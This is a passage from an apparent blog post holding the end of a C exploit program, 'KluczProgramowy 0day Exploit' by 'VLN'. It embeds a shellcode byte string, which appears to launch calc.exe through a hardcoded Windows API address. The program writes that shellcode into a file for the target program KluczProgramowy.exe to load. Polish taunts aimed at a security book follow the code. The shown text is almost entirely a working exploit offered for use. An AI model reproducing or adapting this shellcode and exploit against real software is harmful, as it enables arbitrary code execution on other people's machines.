int main(void)
{
    /* 0DAY-SHELLCODE-KLUCZ_PROGRAMOWY.ASM */
    char *ShellCode = "\x5f\xe8\x00\x00\x00\x00\x59\x8d\x19\x66\x31\xdb\x8d\x93"
                                  "\xb0\x00\x00\x00\x8b\x12\x01\xd3\x3e\x80\x3b\xab\x74\x16"
                                  "\x3e\xc6\x03\xab\x3e\x89\x7b\x04\x81\xc3\x2f\x10\x00\x00"
                                  "\x53\x68\x80\x00\x00\x00\x51\x51\x90\x90\x3e\xc7\x43\x08"
                                  "\x63\x61\x6c\x63\x3e\xc7\x43\x0c\x2e\x65\x78\x65\x31\xc9"
                                  "\x41\x51\x3e\x8d\x43\x08\x50\xb9\x6d\xe7\x07\x76\xff\xd1"
                                  "\xb8\xf3\x00\x00\x00\x3e\x8b\x5b\x04\x53\xc3\x90\x90\x90"
                                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
   
    printf("--------------------------------------------------------------------------\n");
    printf(" \t\t Klucz Programowy 0day (: Exploit\n");
    printf(" \t\t\t VER 1.0\n");
    printf(" \t\t      Coded by VLN\n");
    printf("--------------------------------------------------------------------------\n\n");
    printf("PROGRESS:\n");
    FILE *fp;
    if((fp=fopen(FILE_NAME,"wb"))==0)
    {
          printf("\t\t[-] Can't open file!\n\n");
          goto EXIT;
    }
    printf("\t[+] File '%s' opened.\n",FILE_NAME);
    fwrite(ShellCode,sizeof(char),0x80,fp);
    fclose(fp);
    printf("\t[+] ShellCode in file!\n\n");
    printf("ENJOY! (: \n[KluczProgramowy.exe 3]\n\n");
 EXIT:
    system("pause");
    return 0;
}

/**************************************************************************************************************
</KluczProgramowy-0day-exploit.c>
**************************************************************************************************************/


"Aplikacje Hakerodporne"? Bitch please...

Pozdrawiam, VLN.

PS.  Myślicie, że pan Jacek Ross podpisałby mi egzemplarz książki gdybym go o to poprosił? (:

PS2. Jak pewnie zauważyliście, to nie jest jakieś głupie pokazowe Buffer Overflow,
        Format String czy ret-to-libc, to jest kurwa Pure Hacking :)
   
EoF

Brak komentarzy:

Prześlij komentarz